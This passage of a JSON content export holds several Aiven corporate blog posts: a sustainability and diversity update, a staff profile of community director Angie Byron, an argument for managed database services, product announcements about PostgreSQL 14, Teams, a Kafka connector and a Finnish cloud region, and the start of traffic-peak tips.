in the cloud. Here’s what some of them thought:\n\n\u003c!-- quotes go here\n--\u003e\n![Rahul Kunnath quote](https://cdn.sanity.io/images/sczeoy4w/production/9adacaf85b1441b07e2a5d97d23c423601a76075-1200x304.png)\n\n![Margaret Kinyanjui quote](https://cdn.sanity.io/images/sczeoy4w/production/593aed6cd1fa44f87cd29bc445926d186d3044a2-1200x250.png)\n\n![Collins Munyendo quote](https://cdn.sanity.io/images/sczeoy4w/production/c827b316b853e09cdd007cc248ffeedaf4efcea3-1200x412.png)\n\n\nLastly, we’ve continued to build out our internal employee communities, or ‘team member resource groups’ as we call them: \n\n- Lift – Women of Aiven has really kicked off and currently has 77 members. \n- Our Proud Crabs group also continues to grow and support our LGBTQ+ community\n- We’ve started internal discussions around new topics such as neurodiversity, parenting, and cultural and ethnic diversity. \n- We’re also building a cross-functional team that will eventually form the first DEI council of Aiven – more to follow on that! \n\n\n## Driving change through social impact\n\nAiven’s Social Impact initiative supports external projects that aim to improve society and utilize open source technologies to achieve their goals. One of the aims of the program is to democratize access to technology – and as part of that initiative we’re proud to support Women++ for the second year.\n\nWomen++ is a Swiss non-profit organization dedicated to increasing diversity in the tech industry. Their [deploy(impact)](https://www.womenplusplus.ch/deploy-impact) program focuses on women-friendly, hands-on software development for social good. It brings together the collaboration of industry leaders as mentors with tech enthusiasts of all levels - including women moving to the tech sector, and product owners that guide the development of software solutions to impact a social cause.\n\nAiven sponsored the event in both 2021 and 2022. Last year, out of 36 participants that finished the project, 5 people found a job within 2 months of the closing ceremony. We’re looking forward to hearing the results from the 2022 program.\n\nAiven’s Community Manager, Ana Vasiliuk, will be giving a lightning talk about her experience as a non-technical person in the tech industry. Ana says she’s “hoping to inspire those who are willing to switch their career but aren't sure where to start, or are intimidated by entering tech because of their lack of technical experience.”\n\nRead more about [Women++](https://www.womenplusplus.ch/) and the [deploy(impact) program](https://www.womenplusplus.ch/deploy-impact).\n\n## Growing the team\n\nWe recently [introduced the core Aiven sustainability team](https://aiven.io/blog/introducing-the-aiven-sustainability-team) and we’re pleased to build out that core team further with our Social Impact and Sustainability Program leads. You can find out more about Klaus Schaller, our Internal Climate Track Lead, and Ewelina Grajko, Sustainability Lead, in our [updated sustainability team blog post](https://aiven.io/blog/introducing-the-aiven-sustainability-team). \n\n## Next steps…\n\nWe’ll be making more updates as we collect more and more data to measure our emissions footprint, and all of that information will be presented in a detailed report in early 2023. We’ll be using the findings of that report to create our sustainability strategy.\n\nStay tuned for more sustainability updates, as well as information about our upcoming DEI strategy and social impact contributions.\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nLooking for a managed data platform that aims to be fully sustainable? [Try Aiven for free](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n\n\n","categories":[{"_key":"aaf1848424e9","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-567004b521fbf0a2b919c620f1221d146c560f89-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-17T06:24:50.583Z","related":[{"_key":"a6f4896621c3","_ref":"1WyAWQ2EwNucHT85SFMK5S","_type":"reference"},{"_key":"986ade872b7b","_ref":"70Tx3E8y7y9dUZN8Xkmn9v","_type":"reference"},{"_key":"c4410c149718","_ref":"1jUV74q3GG1ikBS5TwdZLG","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"We’ve taken the first steps to deliver sustainable data infrastructure for everyone. Find out what we’ve achieved so far in our first sustainability update.","metaTitle":"Aiven's path to sustainability"},"slug":{"_type":"slug","current":"/blog/sustainability-update-november-2022"},"subtitle":"We’ve taken the first steps on our journey to deliver sustainable data infrastructure for everyone. Take a look at some of the things we’ve achieved so far – in our first sustainability update.","title":"The path to sustainability"} {"__i18n_lang":"en","_createdAt":"2023-06-20T09:31:58Z","_id":"cc563d6c-d018-4a2f-9d79-1b42f3117863","_rev":"4xxJDWP8Sw6o7zBrUAfE9v","_type":"post","_updatedAt":"2023-08-03T10:26:17Z","authors":[{"_key":"be86ce0c962e","_ref":"1f5a7de4-2542-47c7-a37f-3205cc6fcdcf","_type":"reference"},{"_key":"8f19c72751b7","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"}],"body":"Say hello to Angie Byron (she/they). She only joined us in the middle of April 2023 but is already making a big splash as our new Director of Community. She tells us about her background, her role at Aiven and her plans for the future – oh and her insights as one of our newest members of Proud Crabs, our LGBTQ+ community.\n\n## From PONG and punk to Drupal and DevRel\n\nLike so many of us, Angie took a typically sideways route to Aiven. Growing up, video games were her passion, and they still are – starting with PONG and Atari 2600 all the way up to Nintendo Switch™ and mobile today. That was also where her interest in databases was hatched – in her childhood, she catalogued all video game references she could find, storing her handwritten notes in three-ring binders.\n\nBut Angie’s biggest early influence was the punk musician Donna Dresch. Long before social networks were a thing, Donna and her brother set up a forum and chatroom for queer punk rock kids.\n\nThe chatroom also doubled as a gaping XSS vulnerability, where you could type in HTML tags and it would render them out, so Angie taught herself programming this way. Tiring of the limitations of Geocities with its manual updates, she discovered PHP and MySQL, thus beginning her journey as a web developer.\n\nHer first big community role in the business was Sr. Director of Community Development at Acquia, an enterprise startup focused on Drupal, where she spent ten years. That was followed by a stint at MongoDB as Principal Community Manager and then Lead, Community Programs. Aiven was a natural next step. It leverages both of those previous experiences, providing a data platform and the services around it, but with all the underlying technologies that power it being open source. \n\n## Developing the DevRel role\n\nWith Angie joining the Cast, she can add her in-depth knowledge and best-practice experience to the DevRel team’s extensive capabilities, and channel these into building a community around Open Source Data Infrastructure, with Aiven at the heart.\n\nThe Community Team is part of Aiven’s Developer Relations team, and Angie’s task is to cultivate a growing community inspired by Aiven’s vision, focused specifically on technical practitioners. \n\nThe plan is to liaise with those who use Aiven and Aiven’s underlying services every day, discover their pain points, and help connect them with knowledge and expertise to both solve their problems and partner with them on initiatives.\n\nPrograms include the global [Open Source Data Infrastructure meetups](https://www.meetup.com/pro/open-source-data-infrastructure-community/), the [Aiven Community Forum](https://aiven.io/community/forum/), and several under active construction, including a Discord community and a customer advocacy program.\n\n## Making a softer splash\n\nAngie’s arrival coincided with [Crab Week](https://aiven.io/blog/crab-week-2023-wrap-up) – Aiven’s company-wide offsite, but she was warmly welcomed by all, so never felt that she was being made to sink or swim. Her biggest takeaway has been the universal authenticity she has encountered. As she puts it:\n\n“I’ve been struck by how much each and every member of the Cast lives and breathes our values, even down to things like our travel policies, our performance management framework, and of course in 1:1 and group interactions as well.” \n\nThe onboarding experience proved to be a real winner for Angie, especially flying to Portugal to learn about the company vision and strategy at Crab Week. Other big pluses for her included the 1:1 pre-meetings, the background reading material and the self-directed courses, which covered everything from Aiven’s background and values through to the required legal framework. \n\nShe also cited the advice of [Ian Massingham](https://www.linkedin.com/in/imassingham/), Aiven’s Chief Marketing Officer, during the Crab Week Leadership Panel to NOT try and make a big splash to start with. Instead, it’s best to really immerse yourself in Aiven and absorb as much information as you can about the people, challenges and opportunities. Then the plans you do make are well-informed and you can gain better alignment.\n\n## Improving support for the LGBTQ+ community\n\nFor Angie, Aiven has already made the most important move, which is announcing explicitly via our Proud Crabs ERG (Employee Resource Group) that Aiven is a safe space for LGTBQ+ people and that no one needs to hide who they are here. \n\nOne thing she would love to see in the future, given the global nature of Aiven, is some concerted thinking for facilitating and supporting queer folks all around the globe in connecting to their local communities and with each other. An example of that could be through fundraising efforts, such as donations to local LGBTQ+ charities, or virtual events to augment the activities going on around [Helsinki Pride](https://pride.fi/).\n\n## Taking your first sideways steps\n\nThere are also initiatives that new Cast members can follow themselves. Angie advises newcomers to deliberately take time to meet others from outside their function, to discover how other parts of the organisation work.\n\nOne way of doing this is via Aiven’s Employee Resource Groups (ERGs), which are employee-led diversity, equity and inclusion (DEI) initiatives. As Angie points out:\n\n“Folks from all leadership levels and across all departments congregate there to learn and support one another, and both team members who directly identify as the impacted group (e.g. women, queer folks, or neurodivergent people) as well as allies are welcome.”\n\nAngie is an active member of all ERGs at Aiven. She is especially looking forward to “body doubling” sessions in the Neuro-D group, and the idea of low-pressure tech talks within the Lift (women) group.\n\nOur thanks go to Angie for sharing her story!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers/job). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Cast of Crabs.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Get started for free\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e\n","categories":[{"_key":"eee3be217731","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"9af90660058c","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"f4cd9ae5f049","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Angie Byron, Director of Community, Proud Crabs, Aiven, Aiven logo, Aiven LGBTQ+, DEI, Diversity Equity, Inclusion","asset":{"_ref":"image-91f73fae65349daa83fca32b05e0d88285ee0e71-3133x1688-jpg","_type":"reference"}},"publishedAt":"2023-06-22T09:31:56.880Z","related":[{"_key":"4e775cb378d8","_ref":"0219c323-fc21-4dc8-8fbb-56ee84960dce","_type":"reference"},{"_key":"84c9e46703eb","_ref":"712d0099-600c-4354-a2d6-80340a2fa031","_type":"reference"},{"_key":"85bad4a37b6a","_ref":"c3decc78-b335-4ccf-8ae6-05a1662fec02","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"We welcomed Angie Byron, our new Director of Community (and a Proud Crab!). Find out about her background, new role at Aiven, and more for our LGBTQ+ Crabs.","metaImage":{"_type":"mainImage","alt":"Angie Byron, Director of Community, Proud Crabs, Aiven, Aiven logo, Aiven LGBTQ+, DEI, Diversity Equity, Inclusion","asset":{"_ref":"image-91f73fae65349daa83fca32b05e0d88285ee0e71-3133x1688-jpg","_type":"reference"}},"metaTitle":"Meet Angie Byron, Aiven Director of Community and Proud Crab"},"slug":{"_type":"slug","current":"/blog/meet-the-cast:-angie-byron"},"subtitle":"We welcomed Angie Byron, our new Director of Community (and a Proud Crab!). Find out about her background, new role at Aiven, and more for our LGBTQ+ Crabs.","title":"Meet the Cast: Angie Byron, Director of Community and Proud Crab "} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5mphVpZ9KwsYIklKpnPm1Q","_rev":"tW7kMBSHIbCIaN9dzsHnEq","_type":"post","_updatedAt":"2023-06-19T08:35:03Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"A lot of DBAs these days are starting to warm up to the idea of using managed database services, with good reason. But many are still resisting. Why is that? \nIn this piece, we’ll address the objections that DBAs and others have with managed services, and then look at some of the real benefits of managed database services.\n\n__What even are managed services? What is DBaaS?__\n\n*In a managed service, processes and functions are packaged together and sold to customers to improve and simplify operations as well as slash expenses. Managed services involve a relationship between a service provider who builds and maintains the services as well as a subscriber or customer who buys those services. These two parties are bound by a contract known as a service-level agreement (SLA), which outlines the agreed performance, latency and other quality requirements of the service.*\n\n*A database as a service (DBaaS) is a refinement of that concept which focuses on databases. DBaaS allows the subscriber to outsource the hosting and management of the database.* \n\n## We won't take your job!\nWhat happens to DevOps, Data Engineers and DBAs when managed services are adopted to replace on-prem or self-managed cloud services?\n\nIn general, there will certainly be less need for on-premise data pipeline engineers in the future. In the open-source (and software) world, one of the main aims is to build up and share foundations upon which future innovation can take root. A natural consequence is that there will be a lot less reinventing the wheel and building up the same thing all over again from scratch.\n\nEven today it’s a challenge to put together a talented team of any kind in the IT sector, DevOps included. And many experts shun repetitive work, regardless of whether their title contains the word ‘maintenance’ or ‘development’. Managed solutions help your company to manage with fewer staff. If you’re a developer, data scientist or, yes, a DBA, in a managed infrastructure setup you can work with tasks that you find meaningful.\n\nImagine a world where you could dedicate your time and effort almost exclusively on these:\n- getting real insights and analytics from ALL the data\n- discovering new things to do with data\n- providing data engineering support (focusing on on data analytics)\n- data science\n- modelling and testing data models\n- data visualization\n- building and training AI and ML\n- building business end applications?\n\n## You will still control your system!\nTaking managed cloud solutions into use means in-house staff will have less control over the minutiae of database setup and management. In practical terms, this means less sharding and replication, less hardware configuration, less setting up, fewer updates, less reliability engineering, less latency tweaking, and less throughput engineering.\n\nOkay, some techies do like doing all that, and the rest of the techies love them for it. But are there enough of them to keep all of your infra running? (See previous point about jobs.) Chances are, at least some of those crucial concerns are being dealt with by people who are not interested and whose core competencies lie elsewhere. That’s where the risks come in: misconfigurations, less than optimal optimizations, infra tweaks that break the build.\n\nWith a managed cloud solution, all risare partly eliminated as the experts minding the infra are experts _at_ minding the infra. And the rest of the risk is externalised: if the hosting company fouls up, they pay for it, not you.\n\nAnd Aiven’s DBaaS and hosted Kafka are ISO 27001-2013 and SOC2 compliant, so you know exactly where you stand with industry standard compliance and trust.\n\n## It doesn’t cost too much! \nDoes it really cost too much to buy your database as a service?\n\nFor an on-prem service, you need, well, premises. Then there’s the hardware outlay, electricity, security, building maintenance, insurance, connectivity.... And it goes on from there. All these things cost money. \n\nRegular tasks related to database management include monitoring, regular upgrades, configuration tuning, updates, extension management, tracking software updates, data migration between versions, test suites, ops on-call duties, certification management, and network encryption. As noted above, you need a team for that, and they certainly don’t work for free. They’re providing the same service as a DBaaS provider’s team, but only for your company, so you’re paying all the staff costs.\n\nBesides, when you buy your own infra, you have to buy enough capacity to handle peak load times. But not all times are peak load times (duh, that’s the point) and during quiet periods, that extra infra is just sitting there, costing money.\n\n![Responsibilities and costs](//cdn.sanity.io/images/sczeoy4w/production/75dd2d37d005a7090467224cd1621cddbc3dc403-1400x353.png)\n\nWith a managed solution, you only have to take care of the stuff with the white background. The grey background ones are our headache.\n\nTo bring the discussion down to earth, have a look at [Aiven’s pricing page](https://aiven.io/pricing \"Pricing | Aiven.io\"), and then at what your company is (or would be) paying for an on-prem solution. \n\n## Still having questions?\nIn addition to allowing you and your team to focus on your core business, Aiven gives you technical support 24-7. We’re happy to answer any questions and address any issues that arise in conjunction with our services!\n\n## Wrapping up\nFor DBAs who like to develop their skills and focus on what really matters to the company, the best thing that can happen is moving to a managed service at Aiven(*). \n\nFor the bosses of DBAs and their companies, the best thing that can happen is also moving to a managed service at Aiven. \n\nTalk about win-win!\n\n--\n\n(*) \nAnd if it so happens that you’re like us and love maintaining that routine and putting out fires, [come work at Aiven](https://aiven.io/careers) ;)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-84f24075f709ab4ffe4ce16942d811ca33d33bad-2500x1308-jpg","_type":"reference"}},"publishedAt":"2021-11-12T00:00:00.000Z","seo":{"metaDescription":"Some DBAs object to moving from on-prem (or self-hosted) to managed services. We hear you, but read this post to find out our side of the issue.","metaImage":{"alt":"","asset":{"_ref":"image-84f24075f709ab4ffe4ce16942d811ca33d33bad-2500x1308-jpg","_type":"reference"}},"metaTitle":"Why DBAs embrace managed services"},"slug":{"_type":"slug","current":"/blog/dbas-shouldnt-be-afraid-of-managed-services"},"subtitle":"Some DBAs object to moving from on-prem (or self-hosted) to managed services. We hear you, but read this post to find out our side of the issue.","title":"Why DBAs embrace managed services"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1mtXHhmSbtLMhdjzLrSP2N","_rev":"V5UdSzFEWrLT7ZlMFNm0xX","_type":"post","_updatedAt":"2023-06-19T08:17:21Z","authors":[],"body":"Aiven is happy to release PostgreSQL 14.0, announced on 30 September 2021. This new version contains several new features and improvements. Here are the main highlights: \n\n- Stored procedures can now return data via `OUT` parameters.\n- The SQL-standard `SEARCH` and `CYCLE` options for common table expressions have been implemented.\n- Subscripting can now be applied to any data type for which it is a useful notation, not only arrays. In this release, the `jsonb` and `hstore` types have gained subscripting operators.\n- Range types have been extended by adding multiranges, allowing representation of noncontiguous data ranges.\n- Numerous performance improvements have been made for parallel queries, heavily-concurrent workloads, partitioned tables, logical replication, and vacuuming.\n- B-tree index updates are managed more efficiently, reducing index bloat.\n- VACUUM automatically becomes more aggressive, and skips inessential cleanup, if the database starts to approach a transaction ID wraparound condition.\n- Extended statistics can now be collected on expressions, allowing better planning results for complex queries.\n- libpq now has the ability to pipeline multiple queries, which can boost throughput over high-latency connections.\n\nFurther details on all new features are listed in the [PostgreSQL web page](https://www.postgresql.org/docs/release/14.0/).\n\n## How to get started with PostgreSQL14.0\n\nUpgrade to PostgreSQL 14 to take advantage of these features. If you already use [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL | Aiven website\"), you can run an in-place upgrade to migrate to the newest version.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds and our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-23c29f5369633a889bb4603da4beb46bc525c39f-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-16T00:00:00.000Z","seo":{"metaDescription":"We have upgraded to the latest PostgreSQL version. And it's great! Read on to find out what changes for you and what you need to do. ","metaImage":{"alt":"","asset":{"_ref":"image-23c29f5369633a889bb4603da4beb46bc525c39f-1567x844-png","_type":"reference"}},"metaTitle":"Announcing Aiven for PostgreSQL® 14.0"},"slug":{"_type":"slug","current":"/blog/announcing-aiven-for-postgresql-14-0"},"subtitle":"We have upgraded to the latest PostgreSQL version. And it's great! Read on to find out what changes for you and what you need to do. ","title":"Announcing Aiven for PostgreSQL® 14.0"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2e9oSFiIAbfwpjE0ZWBdhF","_rev":"V5UdSzFEWrLT7ZlMFOAcil","_type":"post","_updatedAt":"2023-08-03T10:36:55Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"As the Aiven community grows, we rely on our users to tell us how to make the Aiven console more efficient, usable and powerful. We get great feedback from our users every day, and we read every single tweet, comment, and email.\n\nWe’re happy to announce that managing larger organizations in the Aiven Console will now be a whole lot easier. You can now create teams to help you map your internal organization structure to your Aiven account. Allocating users into teams reduces administrative work, provisioning access across multiple Aiven projects by grouping users with similar needs.\n\n## The new ‘Teams’ feature\n\nIn the past, project administrators would have to provision project access to users one-by-one, and this became time consuming with lots of projects in an account. In addition, updating/removing user access rights was notably difficult.\n\nWe’ve fixed these issues, and also added additional functionalities. As the first step towards easing administration, we've introduced 'Accounts' for grouping projects to manage common attributes shared between them. As an account owner, you can easily group users with similar access needs across multiple projects into 'Teams'. You can invite new team members to join, and assign your teams to one or more projects in your account.\n\nThe users in your account can belong to multiple projects, and the administrator can easily provision user access to multiple projects in the same view. In addition, when a user’s role/department in the company changes or they leave the company, updating/removing user's access rights is now a breeze. Teams work seamlessly with projects, and you can associate any team with any project in your account. Lastly, we’ve made it possible to set SAML authentication with SSO for users.\n\nFor step-by-step instructions on how to use the new teams feature, read our [help center article.](https://help.aiven.io/en/articles/3504926-account-management-in-console)\n\n## Upcoming management features\n\nEnhanced account management features have been highly requested from the Aiven community, so we thought we’d take a more structured approach. The introduction of teams is just the first step, and we’re hard at work on the next phase - [the addition of billing groups](https://aiven.io/blog/better-cost-management-with-billing-groups \"News about billing groups rollout\"). With billing groups, you’ll be able to set a default billing group for associated projects to consolidate costs into a single invoice - making your finance department’s job a bit easier.\n\nStay tuned to our blog for more details about the launch of billing groups. In the meantime, follow our [changelog](https://aiven.io/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5-1200x646-jpg","_type":"reference"}},"publishedAt":"2020-06-18T00:00:00.000Z","seo":{"metaDescription":"You asked, we listened. You wanted better account management features for larger companies - today, they're available for use!","metaImage":{"alt":"","asset":{"_ref":"image-0f5b4d81c0235d5c4c88f7c78bd6c4252a87cec5-1200x646-jpg","_type":"reference"}},"metaTitle":"Managing projects just got easier in Aiven"},"slug":{"_type":"slug","current":"/blog/managing-projects-just-got-easier-in-aiven"},"subtitle":"You asked, we listened. You wanted better account management features for larger companies - today, they're available for use!","title":"Managing projects just got easier in Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2849jbhN3l1kxH3sG2119P","_rev":"V5UdSzFEWrLT7ZlMFOAcbp","_type":"post","_updatedAt":"2023-08-03T10:36:49Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"__We’ve recently created and released the Aiven GCS Kafka Sink Connector.__ This connector will allow you to move data from your Kafka clusters to Google Cloud Storage. Even better, it is open source.\n\n\u003e By making it open source, we ensure that you can use our connector regardless of whether you host and manage Kafka yourself or choose a service provider to do so.\n\nYou can [learn how to configure and use it here](https://help.aiven.io/en/articles/2888122-aiven-kafka-gcs-sink-connector). If you would like to make contributions to the project and request features, [visit our project here](https://github.com/aiven/gcs-connector-for-apache-kafka). But before you go, let’s look at Kafka connectors in a little more detail.\n\n## Why Kafka connectors are important\n\nSimply put, Kafka needs connectors to live up to its full potential. These connectors allow you to couple Kafka with other systems so that you can easily do things such as streaming Change Data Capture.\n\nThey come in two forms, source and sink. The former connects a source of data to Kafka while the latter does the opposite. For example, the GCS sink connector for sending Kafka data to Google Cloud Storage.\n\n\u003e But there’s an issue: many of these connectors have either been released as proprietary or undergone license changes that have restricted their use.\n\nThat is part of the reason why we’ve begun to create our own connectors, to support our customers’ needs. However, there’s an additional philosophical reason—to continue supporting the open source community.\n\n## Not the first connector nor the last\n\nOur first two open source Kafka connectors are sinks to Amazon S3 and GCS. We’ll continue to improve on [our existing connectors](https://help.aiven.io/en/articles/1231452-kafka-connect-connectors) and extend the list. Remember, we consider your feedback when deciding what to offer.\n\n\u003e So make sure you let us know what Kafka connectors you’re interested in and if there is enough demand, we’ll make sure to include it.\n\nIn the meantime, sign up to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds to stay up-to-date with the latest Aiven news, and don’t forget to follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). If you’re not an Aiven customer, [test our platform out with a 30 day free trial](https://console.aiven.io/singup).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-f93ae7ec375963091127e3dacf59a64a78c69456-752x405-png","_type":"reference"}},"publishedAt":"2019-04-21T21:00:00.000Z","seo":{"metaDescription":"Aiven's latest open source connector allows you stream Kafka data to GCS, read this post to learn more about it.","metaImage":{"alt":"","asset":{"_ref":"image-f93ae7ec375963091127e3dacf59a64a78c69456-752x405-png","_type":"reference"}},"metaTitle":"Aiven open sources Google Cloud Storage Kafka connector"},"slug":{"_type":"slug","current":"/blog/aiven-open-sources-google-cloud-storage-kafka-connector"},"subtitle":"Aiven's latest open source connector allows you stream Kafka data to GCS, read this post to learn more about it.","title":"Aiven open sources Google Cloud Storage Kafka connector"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1fHPryeemeTfDEfsVMg6Gd","_rev":"4xxJDWP8Sw6o7zBrUAiCXN","_type":"post","_updatedAt":"2023-08-03T10:36:45Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Yesterday, GCP (Google Cloud Platform) brought their first Nordic cloud online, europe-north1. A former papermill turned data center, __europe-north1 is a three-zone region__ catering to end-users in the Nordics and Easter Europe.\n\n\u003e And today, __Aiven became the first independent, ISO 27001 certified DBaaS__ to offer production-ready PostgreSQL, Kafka, Elasticsearch and other services in GCP Finland.\n\nWhile it is a big deal for current and future Aiven clients, the availability of a GCP Nordic cloud is important in its own right because of its potential performance improvements and sustainability features. Let’s check them out!\n\n## Why is GCP’s latest region important?\n\nGCP's [latest region marks their 5th in Europe](https://cloudplatform.googleblog.com/2018/06/GCP-arrives-in-the-Nordics-with-a-new-region-in-Finland.html), allowing them to drastically improve latencies for Nordic and Eastern European end-users, by __anywhere from 65% to 88%__, than when hosting in the next closest regions.\n\nBut you don’t have to take their word for it, you can see for yourself by measuring and comparing your latency across multiple GCP regions through the GCPing tool: you can access it [here](https://www.gcping.com).\n\nEven better, __it is less expensive than some other European regions__. Whether due to lower electricity costs from its use of the Gulf of Finland for cooling or something else, it is good news for expenses and the environment.\n\n## GCP Finland increases Aiven’s regions to 71\n\nBy offering GCP's latest addition, we continue to increase our lead as the largest DBaaS provider in terms of cloud coverage with __71 cloud regions worldwide.__\n\nTherefore, any Aiven customer with a local or international data scope can be confident that they will always be provided with the most proximate hosting solutions available for their managed services.\n\nStay tuned for more region releases by joining our [blog](/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/). In the meantime, feel free to deploy in europe-north1!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff-752x405-png","_type":"reference"}},"publishedAt":"2018-06-19T00:00:00.000Z","seo":{"metaDescription":"GCP is now in the Nordics with its first cloud region in Finland; find out why it's a big deal for Aiven and non-Aiven users.","metaImage":{"alt":"","asset":{"_ref":"image-ae2ffcff73afdd0b0d9d86aeb830f84ebb7cbdff-752x405-png","_type":"reference"}},"metaTitle":"Google cloud is now over Finland"},"slug":{"_type":"slug","current":"/blog/google-cloud-now-over-finland"},"subtitle":"GCP is now in the Nordics with its first cloud region in Finland; find out why it's a big deal for Aiven and non-Aiven users.","title":"Google cloud is now over Finland"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2C52NmC1EuMExPXg9XNCtD","_rev":"4xxJDWP8Sw6o7zBrUAiFRf","_type":"post","_updatedAt":"2023-08-03T10:36:50Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"In retail, high network traffic is generally a good thing that means people are flocking to your site and buying your stuff. But the flip side is that times of heavy load really highlight every weakness in your system. The services become slow or unresponsive, the customers get irate, sysadmins field phone calls from execs demanding to know why their Cousin Alice couldn’t get through to buy that discounted power drill… \n\nWe’ve all been there, right? And none of us want to be there again. So here are some tips on what to do when that traffic load starts going through the roof.\n\nAs a general note, do keep an eye on your metrics. For Aiven customers, the Metrics tab in the [Aiven Console](https://console.aiven.io \"Aiven Console main page\") keeps you informed about your system status. We do send warning e-mails about critical levels (for example, \u003e90% disk usage, sustained high load average, and running out of memory), but if you know a peak is coming it’s simply good practice to monitor them yourself.\n\nThe single easiest way to handle additional traffic is to upgrade your service plan. The Aiven Console even has a button for it, look:\n\n![Upgrade Aiven Service Plan](//cdn.sanity.io/images/sczeoy4w/production/6664a7450876fc38317a8d9d16f034edb449fd96-948x116.png)\n\nWhat that Aiven service upgrade does is save you a lot of fiddling and grief. You get new nodes with additional CPUs, RAM, and storage; the latest data then gets streamed across and the system performs a controlled failover to the new nodes. And that’s it. \n\nFor small services, this takes minutes, for larger ones it might take some hours. The catch is that you really should upgrade before your load peaks, so that that failover is in fact controlled and modifications to data don’t slow down the process. 